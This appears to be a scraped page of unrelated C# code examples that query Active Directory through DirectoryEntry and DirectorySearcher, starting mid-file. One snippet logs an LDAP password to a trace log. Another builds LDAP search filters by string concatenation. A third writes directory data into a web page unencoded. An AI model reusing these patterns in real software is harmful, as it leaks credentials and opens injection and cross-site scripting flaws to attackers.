        public void ContactSync(Logger Logger, IConfiguration config, IAuthenticationProvidor authProvidor, IAzureADFunctions azureAdFunctions, IOnPremADHelper onPremAdHelper, IOnPremAdFunctions onPremAdFunctions, ActiveDirectoryClient AzureClientSession)
        {
            //Get Entry into On-prem Active Directory Contacts OU.
            DirectoryEntry _OnPremContactsDirectoryEntry = onPremAdHelper.GetADDirectoryEntry(config.FQDomainName, config.ContactsDestinationOUDN, Logger);

            //Gather User Objects for the Work we intend to do later:
            Group _AzureUsersgroup = azureAdFunctions.GetADGroup(AzureClientSession, config.AzureADUserGroup, Logger);

            if (_AzureUsersgroup != null)
            {
                List <Tuple <string, IDirectoryObject> > _AzureGroupMembers = azureAdFunctions.GetAdGroupMembers(_AzureUsersgroup, config, Logger);

                if (_AzureGroupMembers.Any(members => members.Item1 == "user"))
                {
                    List <IUser> _AzureGroupUsers = _AzureGroupMembers.Where(member => member.Item1.Equals("user"))
                                                    .Select(member => member.Item2)
                                                    .Select(member => member as IUser)
                                                    .ToList();

                    List <DirectoryEntry> _OnPremContactObjects = onPremAdFunctions.GetOUContactObjects(config.FQDomainName, config.ContactsDestinationOUDN, onPremAdHelper, Logger);


                    #region Add Contact Objects to AD Contacts OU
                    //foreach user in Cloud check if they reside onprem and add them if they dont.

                    if (config.AllowCreationOfADObjects)
                    {
                        Dictionary <string, IUser> azureUsers = _AzureGroupUsers.Where(x => x.Mail != null)
                                                                .ToDictionary(x => x.Mail.ToLower(), x => x);

                        foreach (string OnPremUser in _OnPremContactObjects.Where(x => x.Properties["Mail"].Value != null)
                                 .Select(x => x.Properties["Mail"].Value.ToString()))
                        {
                            azureUsers.Remove(OnPremUser.ToLower());
                        }

                        int CreatedUsers = onPremAdFunctions.CreateADUserContacts(Logger, config, _OnPremContactsDirectoryEntry, onPremAdHelper, azureUsers);

                        Logger.Debug(String.Format("Created {0} user(s) in On-Prem Active Directory", CreatedUsers.ToString()));
                        Console.WriteLine("Created {0} user(s) in On-Prem Active Directory", CreatedUsers.ToString());
                    }
                    #endregion

                    #region Delete Contact Objects from AD OU
                    //foreach user onprem check if they reside in cloud - delete them from AD if they dont (Make this over-rideable with a key)
                    if (config.AllowDeletionOfADObjects)
                    {
                        Dictionary <string, DirectoryEntry> onpremUsers = _OnPremContactObjects.Where(y => y.Properties["Mail"].Value != null)
                                                                          .ToDictionary(y => y.Properties["Mail"].Value.ToString().ToLower(), y => y);

                        foreach (string AzureUser in _AzureGroupUsers.Where(y => y.Mail != null)
                                 .Select(y => y.Mail.ToLower()))
                        {
                            onpremUsers.Remove(AzureUser.ToLower());
                        }

                        int DeletedUsers = onPremAdFunctions.DeleteADContacts(Logger, config, _OnPremContactsDirectoryEntry, onpremUsers);

                        Logger.Debug(String.Format("Deleted {0} user(s) in On-Prem Active Directory", DeletedUsers.ToString()));
                        Console.WriteLine("Deleted {0} user(s) in On-Prem Active Directory", DeletedUsers.ToString());
                    }
                }
                else
                {
                    Console.WriteLine("Could not find any USER objects in group {0}", config.AzureADUserGroup);
                    Logger.Error(String.Format("Could not find any USER objects in group {0}", config.AzureADUserGroup));
                }
            }
            else
            {
                Console.WriteLine("Could not find Group in Azure ({0} to enumerate users from", config.AzureADUserGroup);
                Logger.Error(String.Format("Could not find Group in Azure ({0} to enumerate users from", config.AzureADUserGroup));
            }

            //Close AD Directory Entry Handle
            onPremAdHelper.DisposeADDirectoryEntry(_OnPremContactsDirectoryEntry, Logger);

            Console.WriteLine("Contact Creation/Deletion complete - Changes will be reflected on Office365 Sync on Next Dir-Sync Cycle but may not appear in Address book until the following day.");
            Logger.Debug(@"Contact Creation/Deletion complete - Changes will be reflected on Office365 upon next DirSync.");

            #endregion
        }
Ejemplo n.º 51
0
 /**
  * Constructs object data by wrapping a lower level object record.
  *
  * @param record the low-level object record.
  * @param poifs the filesystem, required for retrieving the object data.
  */
 public HSSFObjectData(ObjRecord record, DirectoryEntry root)
 {
     this.record = record;
     _root       = root;
 }
Ejemplo n.º 52
0
        internal static string GetFullyQualifiedDomainName(string DomainController)
        {
            TaskLogger.LogEnter();
            DirectoryEntry         directoryEntry         = null;
            DirectoryEntry         directoryEntry2        = null;
            DirectorySearcher      directorySearcher      = null;
            SearchResultCollection searchResultCollection = null;
            int num;

            try
            {
                string path = NewOwaVirtualDirectory.LDAPPrefix(DomainController) + "RootDSE";
                directoryEntry           = new DirectoryEntry(path);
                directoryEntry2          = new DirectoryEntry(NewOwaVirtualDirectory.LDAPPrefix(DomainController) + directoryEntry.Properties["configurationNamingContext"].Value);
                directorySearcher        = new DirectorySearcher(directoryEntry2);
                directorySearcher.Filter = "(&(objectClass=msExchRecipientPolicy)(msExchPolicyOrder=2147483647))";
                directorySearcher.PropertiesToLoad.Add("gatewayProxy");
                directorySearcher.SearchScope = SearchScope.Subtree;
                searchResultCollection        = directorySearcher.FindAll();
                foreach (object obj in searchResultCollection)
                {
                    SearchResult searchResult = (SearchResult)obj;
                    ResultPropertyValueCollection resultPropertyValueCollection = searchResult.Properties["gatewayProxy"];
                    foreach (object obj2 in resultPropertyValueCollection)
                    {
                        string text = obj2.ToString();
                        if (text.StartsWith("SMTP:"))
                        {
                            num = text.IndexOf('@');
                            if (num >= 0)
                            {
                                TaskLogger.LogExit();
                                return(text.Substring(num + 1));
                            }
                        }
                    }
                }
            }
            catch (COMException ex)
            {
                throw new IISGeneralCOMException(ex.Message, ex.ErrorCode, ex);
            }
            finally
            {
                if (searchResultCollection != null)
                {
                    searchResultCollection.Dispose();
                }
                if (directorySearcher != null)
                {
                    directorySearcher.Dispose();
                }
                if (directoryEntry2 != null)
                {
                    directoryEntry2.Dispose();
                }
                if (directoryEntry != null)
                {
                    directoryEntry.Dispose();
                }
            }
            TaskLogger.LogExit();
            string      hostName  = Dns.GetHostName();
            IPHostEntry hostEntry = Dns.GetHostEntry(hostName);
            string      hostName2 = hostEntry.HostName;

            num = hostName2.IndexOf('.');
            return((num >= 0 && num < hostName2.Length - 1) ? hostName2.Substring(num + 1) : hostName2);
        }
Ejemplo n.º 53
0
 public static object GetPropertyValue(DirectoryEntry de, string propertyName)
 {
     return(DirectoryContext.GetPropertyValue(de, propertyName, true));
 }
Ejemplo n.º 54
0
        private void DoLDAPDirectoryInitNoContainer()
        {
            byte[] USERS_CONTAINER_GUID     = new byte[] { 0xa9, 0xd1, 0xca, 0x15, 0x76, 0x88, 0x11, 0xd1, 0xad, 0xed, 0x00, 0xc0, 0x4f, 0xd8, 0xd5, 0xcd };
            byte[] COMPUTERS_CONTAINER_GUID = new byte[] { 0xaa, 0x31, 0x28, 0x25, 0x76, 0x88, 0x11, 0xd1, 0xad, 0xed, 0x00, 0xc0, 0x4f, 0xd8, 0xd5, 0xcd };

            // The StoreCtxs that will be used in the PrincipalContext, and their associated DirectoryEntry objects.
            DirectoryEntry deUserGroupOrg = null;
            DirectoryEntry deComputer     = null;
            DirectoryEntry deBase         = null;

            ADStoreCtx storeCtxUserGroupOrg = null;
            ADStoreCtx storeCtxComputer     = null;
            ADStoreCtx storeCtxBase         = null;

            GlobalDebug.WriteLineIf(GlobalDebug.Info, "PrincipalContext", "Entering DoLDAPDirectoryInitNoContainer");

            //
            // Build a DirectoryEntry that represents the root of the domain.
            //

            // Use the RootDSE to find the default naming context
            DirectoryEntry deRootDse = null;
            string         adsPathBase;

            // use the servername if they gave us one, else let ADSI figure it out
            string serverName = "";

            if (_name != null)
            {
                serverName = _name + "/";
            }

            GlobalDebug.WriteLineIf(GlobalDebug.Info, "PrincipalContext", "DoLDAPDirectoryInitNoContainer: serverName is " + serverName);

            // use the options they specified
            AuthenticationTypes authTypes = SDSUtils.MapOptionsToAuthTypes(_options);

            GlobalDebug.WriteLineIf(GlobalDebug.Info, "PrincipalContext", "DoLDAPDirectoryInitNoContainer: authTypes is " + authTypes.ToString());

            try
            {
                deRootDse = new DirectoryEntry("LDAP://" + serverName + "rootDse", _username, _password, authTypes);

                // This will also detect if the server is down or nonexistent
                string domainNC = (string)deRootDse.Properties["defaultNamingContext"][0];
                adsPathBase = "LDAP://" + serverName + domainNC;

                GlobalDebug.WriteLineIf(GlobalDebug.Info, "PrincipalContext", "DoLDAPDirectoryInitNoContainer: domainNC is " + domainNC);
                GlobalDebug.WriteLineIf(GlobalDebug.Info, "PrincipalContext", "DoLDAPDirectoryInitNoContainer: adsPathBase is " + adsPathBase);
            }
            finally
            {
                // Don't allow the DE to leak
                if (deRootDse != null)
                {
                    deRootDse.Dispose();
                }
            }

            try
            {
                // Build a DE for the root of the domain using the retrieved naming context
                deBase = new DirectoryEntry(adsPathBase, _username, _password, authTypes);

                // Set the password port to the ssl port read off of the rootDSE.  Without this
                // password change/set won't work when we connect without SSL and ADAM is running
                // on non-standard port numbers.  We have already verified directory connectivity at this point
                // so this should always succeed.
                if (_serverProperties.portSSL > 0)
                {
                    deBase.Options.PasswordPort = _serverProperties.portSSL;
                }

                //
                // Use the wellKnownObjects attribute to determine the default location
                // for users and computers.
                //
                string adsPathUserGroupOrg = null;
                string adsPathComputer     = null;

                PropertyValueCollection wellKnownObjectValues = deBase.Properties["wellKnownObjects"];

                foreach (UnsafeNativeMethods.IADsDNWithBinary value in wellKnownObjectValues)
                {
                    if (Utils.AreBytesEqual(USERS_CONTAINER_GUID, (byte[])value.BinaryValue))
                    {
                        Debug.Assert(adsPathUserGroupOrg == null);
                        adsPathUserGroupOrg = "LDAP://" + serverName + value.DNString;

                        GlobalDebug.WriteLineIf(
                            GlobalDebug.Info,
                            "PrincipalContext",
                            "DoLDAPDirectoryInitNoContainer: found USER, adsPathUserGroupOrg is " + adsPathUserGroupOrg);
                    }

                    // Is it the computer container?
                    if (Utils.AreBytesEqual(COMPUTERS_CONTAINER_GUID, (byte[])value.BinaryValue))
                    {
                        Debug.Assert(adsPathComputer == null);
                        adsPathComputer = "LDAP://" + serverName + value.DNString;

                        GlobalDebug.WriteLineIf(
                            GlobalDebug.Info,
                            "PrincipalContext",
                            "DoLDAPDirectoryInitNoContainer: found COMPUTER, adsPathComputer is " + adsPathComputer);
                    }
                }

                if ((adsPathUserGroupOrg == null) || (adsPathComputer == null))
                {
                    // Something's wrong with the domain, it's not exposing the proper
                    // well-known object fields.
                    throw new PrincipalOperationException(SR.ContextNoWellKnownObjects);
                }

                //
                // Build DEs for the Users and Computers containers.
                // The Users container will also be used as the default for Groups.
                // The reason there are different contexts for groups, users and computers is so that
                // when a principal is created it will go into the appropriate default container.  This is so users don't
                // be default create principals in the root of their directory.  When a search happens the base context is used so that
                // the whole directory will be covered.
                //
                deUserGroupOrg = new DirectoryEntry(adsPathUserGroupOrg, _username, _password, authTypes);
                deComputer     = new DirectoryEntry(adsPathComputer, _username, _password, authTypes);

                StoreCtx userStore = CreateContextFromDirectoryEntry(deUserGroupOrg);

                _userCtx       = userStore;
                _groupCtx      = userStore;
                deUserGroupOrg = null;  // since we handed off ownership to the StoreCtx

                _computerCtx = CreateContextFromDirectoryEntry(deComputer);

                deComputer = null;

                _queryCtx = CreateContextFromDirectoryEntry(deBase);

                _connectedServer = ADUtils.GetServerName(deBase);

                deBase = null;
            }
            catch (Exception e)
            {
                GlobalDebug.WriteLineIf(GlobalDebug.Error,
                                        "PrincipalContext",
                                        "DoLDAPDirectoryInitNoContainer: caught exception of type "
                                        + e.GetType().ToString() +
                                        " and message " + e.Message);

                // Cleanup on failure.  Once a DE has been successfully handed off to a ADStoreCtx,
                // that ADStoreCtx will handle Dispose()'ing it
                if (deUserGroupOrg != null)
                {
                    deUserGroupOrg.Dispose();
                }

                if (deComputer != null)
                {
                    deComputer.Dispose();
                }

                if (deBase != null)
                {
                    deBase.Dispose();
                }

                if (storeCtxUserGroupOrg != null)
                {
                    storeCtxUserGroupOrg.Dispose();
                }

                if (storeCtxComputer != null)
                {
                    storeCtxComputer.Dispose();
                }

                if (storeCtxBase != null)
                {
                    storeCtxBase.Dispose();
                }

                throw;
            }
        }
    /// <summary>
    /// Looks up a UID in the local SDS and returns the corresponding directory entry.
    /// </summary>
    /// <param name="p_sUid">The UID to look up.</param>
    /// <returns>
    /// A DirectoryEntry object corresponding to the nhsPerson object in the local SDS whose UID
    /// was specified, or null if no such object could be found.
    ///</returns>
    private DirectoryEntry GetLocalSDSEntry(string p_sUid)
    {
        // Get the set of application settings relating to the local SDS.
        string sLocalSDSHost = GetApplicationSetting(
            Constants.APPKEY_LOCAL_SDS_HOST, typeof(string), true);
        string sLocalSDSPort = GetApplicationSetting(
            Constants.APPKEY_LOCAL_SDS_PORT, typeof(string), true);
        string sLocalSDSPath = GetApplicationSetting(
            Constants.APPKEY_LOCAL_SDS_PATH, typeof(string), true);
        string sLocalSDSFilter = GetApplicationSetting(
            Constants.APPKEY_LOCAL_SDS_FILTER, typeof(string), true);
        string sLocalSDSUsername = GetApplicationSetting(
            Constants.APPKEY_LOCAL_SDS_USERNAME, typeof(string), true);
        string sLocalSDSPassword = GetApplicationSetting(
            Constants.APPKEY_LOCAL_SDS_PASSWORD, typeof(string), true);
        string sLocalSDSAuthType = GetApplicationSetting(
            Constants.APPKEY_LOCAL_SDS_AUTH_TYPE, typeof(string), true);

        // Insert the UID into the LDAP search filter string.
        sLocalSDSFilter = string.Format(sLocalSDSFilter, p_sUid);

        // Log the LDAP search filter to be used.
        if (Fujitsu.SamlBridge.Trace.s_trswSamlBridgePath.TraceInfo)
        {
            Fujitsu.SamlBridge.Trace.WriteLine(
                this, Constants.TRCI_LOCAL_SDS_SEARCH_FILTER, sLocalSDSFilter);
        }

        // Now assemble the complete LDAP URL.
        string sLocalSDSUrl =
            Universal.URL_PROTOCOL_LDAP +
            Universal.URL_SCHEME_TERMINATOR +
            sLocalSDSHost +
            Universal.URL_PORT_INITIATOR +
            sLocalSDSPort +
            Universal.URL_HOST_TERMINATOR +
            sLocalSDSPath;

        // Log the LDAP URL to be used.
        if (Fujitsu.SamlBridge.Trace.s_trswSamlBridgePath.TraceInfo)
        {
            Fujitsu.SamlBridge.Trace.WriteLine(
                this, Constants.TRCI_LOCAL_SDS_URL, sLocalSDSUrl);
        }

        // Set up the specified authentication type.
        AuthenticationTypes authtyp = AuthenticationTypes.Secure;

        if (sLocalSDSAuthType.Equals(Universal.AUTHTYPE_ANONYMOUS))
        {
            authtyp = AuthenticationTypes.Anonymous;
        }
        else if (sLocalSDSAuthType.Equals(Universal.AUTHTYPE_NONE))
        {
            authtyp = AuthenticationTypes.None;
        }

        // Log the credentials we are using to access the local SDS.
        if (Fujitsu.SamlBridge.Trace.s_trswSamlBridgePath.TraceInfo)
        {
            Fujitsu.SamlBridge.Trace.WriteLine(
                this,
                Constants.TRCI_ACCESSING_LOCAL_SDS_WITH_CREDENTIALS,
                sLocalSDSUsername,
                sLocalSDSPassword);
        }

        // Create a DirectoryEntry object around the base LDAP URL.
        DirectoryEntry deBase =
            new DirectoryEntry(sLocalSDSUrl, sLocalSDSUsername, sLocalSDSPassword, authtyp);

        // Log the authentication type being used.
        if (Fujitsu.SamlBridge.Trace.s_trswSamlBridgePath.TraceInfo)
        {
            Fujitsu.SamlBridge.Trace.WriteLine(
                this,
                Constants.TRCI_LOCAL_SDS_AUTH_TYPE,
                deBase.AuthenticationType.ToString());
        }

        // Create a DirectorySearcher object based on the base path and the filter.
        DirectorySearcher ds = new DirectorySearcher(deBase, sLocalSDSFilter);

        // Set the search scope to one level.
        ds.SearchScope = SearchScope.OneLevel;

        // Perform the search.
        SearchResult srNhsPerson = null;

        try
        {
            srNhsPerson = ds.FindOne();
        }
        catch (Exception e)
        {
            // Log the exception in the trace log.
            if (Fujitsu.SamlBridge.Trace.s_trswSamlBridgePath.TraceError)
            {
                Fujitsu.SamlBridge.Trace.WriteLine(
                    this,
                    Constants.TRCE_LOCAL_SDS_SEARCH_EXCEPTION,
                    e.GetType().Name,
                    e.Message);
            }
        }

        if (srNhsPerson == null)
        {
            // Log the error in the trace log.
            if (Fujitsu.SamlBridge.Trace.s_trswSamlBridgePath.TraceError)
            {
                Fujitsu.SamlBridge.Trace.WriteLine(
                    this, Constants.TRCE_UID_NOT_FOUND_IN_LOCAL_SDS, p_sUid);
            }

            // Raise a SamlBridge error.
            string sErrorInfo = string.Format(
                SamlBridgeErrorCodeHelper.ERRINFO_USER_HOST_ADDRESS,
                Request.UserHostAddress);

            ReportError(SamlBridgeErrorCode.SamlBridgeUidNotFound, sErrorInfo);
            return(null);
        }

        // Log the fact that the search returned a result.
        if (Fujitsu.SamlBridge.Trace.s_trswSamlBridgePath.TraceInfo)
        {
            Fujitsu.SamlBridge.Trace.WriteLine(
                this, Constants.TRCI_LOCAL_SDS_SEARCH_RESULT_OBTAINED);
        }

        // Get a DirectoryEntry object from the search result.
        DirectoryEntry deNhsPerson = srNhsPerson.GetDirectoryEntry();

        // Check for a null DirectoryEntry object.
        if (deNhsPerson == null)
        {
            // Log the error in the trace log.
            if (Fujitsu.SamlBridge.Trace.s_trswSamlBridgePath.TraceError)
            {
                Fujitsu.SamlBridge.Trace.WriteLine(
                    this, Constants.TRCE_FAILED_TO_CREATE_RESULT_ENTRY, p_sUid);
            }

            // Raise a SamlBridge error.
            string sErrorInfo = string.Format(
                SamlBridgeErrorCodeHelper.ERRINFO_USER_HOST_ADDRESS_UID,
                Request.UserHostAddress,
                p_sUid);

            ReportError(SamlBridgeErrorCode.SamlBridgeNoDirectoryEntry, sErrorInfo);

            return(null);
        }

        // Log the fact that we created a directory entry.
        if (Fujitsu.SamlBridge.Trace.s_trswSamlBridgePath.TraceInfo)
        {
            Fujitsu.SamlBridge.Trace.WriteLine(
                this, Constants.TRCI_LOCAL_SDS_DIRECTORY_ENTRY_CREATED);
        }

        return(deNhsPerson);
    }
Ejemplo n.º 56
0
        public String GetGroups(String username, String pwd)
        {
            String            domainAndUsername = _domain + @"\" + username;
            DirectoryEntry    entry             = new DirectoryEntry(_path, domainAndUsername, pwd);
            DirectorySearcher search            = new DirectorySearcher(entry);

            search.Filter = "(cn=" + _filterAttribute + ")";
            search.PropertiesToLoad.Add("memberOf");
            StringBuilder groupNames = new StringBuilder();

            try
            {
                SearchResult result = search.FindOne();

                int propertyCount = result.Properties["memberOf"].Count;

                String dn;
                int    equalsIndex, commaIndex;

                for (int propertyCounter = 0; propertyCounter < propertyCount; propertyCounter++)
                {
                    dn = (String)result.Properties["memberOf"][propertyCounter];

                    equalsIndex = dn.IndexOf("=", 1);
                    commaIndex  = dn.IndexOf(",", 1);
                    if (-1 == equalsIndex)
                    {
                        return(null);
                    }

                    groupNames.Append(dn.Substring((equalsIndex + 1), (commaIndex - equalsIndex) - 1));
                    groupNames.Append("|");

                    DirectoryEntry    gentry  = new DirectoryEntry(_path, domainAndUsername, pwd);
                    DirectorySearcher gsearch = new DirectorySearcher(gentry);

                    gsearch.Filter = "(cn=" + dn.Substring((equalsIndex + 1), (commaIndex - equalsIndex) - 1) + ")";
                    gsearch.PropertiesToLoad.Add("memberOf");

                    try
                    {
                        SearchResult gresult = gsearch.FindOne();

                        int gpropertyCount = gresult.Properties["memberOf"].Count;

                        for (int gcounter = 0; gcounter < gpropertyCount; gcounter++)
                        {
                            dn = (String)gresult.Properties["memberOf"][gcounter];

                            equalsIndex = dn.IndexOf("=", 1);
                            commaIndex  = dn.IndexOf(",", 1);
                            if (-1 == equalsIndex)
                            {
                                return(null);
                            }

                            groupNames.Append(dn.Substring((equalsIndex + 1), (commaIndex - equalsIndex) - 1));
                            groupNames.Append("|");
                        }
                    }
                    catch (Exception ex)
                    {
                    }
                }
            }
            catch (Exception ex)
            {
                throw new Exception("Error obtaining group names. " + ex.Message);
            }
            return(groupNames.ToString());
        }
    protected void btnClick_Click(object sender, EventArgs e)
    {
        DirectoryEntry myDirectoryEntry = new DirectoryEntry(String.Format("LDAP://{0}", "Progressive.com"));
                    DirectorySearcher mySearcher = new DirectorySearcher(myDirectoryEntry);

                    mySearcher.Filter = ("(objectCategory=person)");

                    foreach (SearchResult result in mySearcher.FindAll())
                    {

                        try
                        {
                            if (!String.IsNullOrEmpty(result.Properties["Mail"][0].ToString())
                                && System.Text.RegularExpressions.Regex.IsMatch(result.Properties["DisplayName"][0].ToString(), " |admin|test|service|system|[$]", System.Text.RegularExpressions.RegexOptions.IgnoreCase)
                                )
                                {
                                    //int space = resEnt.Properties["DisplayName"][0].ToString().IndexOf(" ");
                                    //string formattedName = String.Format("{0}{1}{2}",
                                    //    resEnt.Properties["DisplayName"][0].ToString().Substring(space).PadRight(25),
                                    //    resEnt.Properties["DisplayName"][0].ToString().Substring(0, space).PadRight(15),
                                    //    resEnt.Properties["Mail"][0].ToString()
                                    //    );
                                    //userList.Add(formattedName);
                                    string SAMAccountName = Convert.ToBoolean(result.Properties["sAMAccountName"].Count > 0) ? result.Properties["sAMAccountName"][0].ToString() : "";
                                    string DisplayName = Convert.ToBoolean(result.Properties["displayName"].Count > 0) ? result.Properties["displayName"][0].ToString() : "";
                                    string mail = Convert.ToBoolean(result.Properties["mail"].Count > 0) ? result.Properties["mail"][0].ToString() : "";
                                    string company = Convert.ToBoolean(result.Properties["company"].Count > 0) ? result.Properties["company"][0].ToString() : "";
                                    string department = Convert.ToBoolean(result.Properties["UserFlags"].Count > 0) ? result.Properties["UserFlags"][0].ToString() : "";
                                    Response.Write(SAMAccountName);
                                    Response.Write("&nbsp;&nbsp;&nbsp;&nbsp;");
                                    Response.Write(DisplayName);
                                    Response.Write("&nbsp;&nbsp;&nbsp;&nbsp;");
                                    Response.Write(mail);
                                    Response.Write("&nbsp;&nbsp;&nbsp;&nbsp;");
                                    Response.Write(company);
                                    Response.Write("&nbsp;&nbsp;&nbsp;&nbsp;");
                                    Response.Write(department);
                                    Response.Write("<br>");
                                }

                        }
                        catch
                        {

                        }

                    }
                    //if (userList.Count > 0)
                    //{

                    //    for (int i = 0; i < userList.Count - 1; i++)
                    //    {
                    //        Response.Write((userList[i].ToString()));
                    //        Response.Write("<br>");

                    //    }

                    //}
    }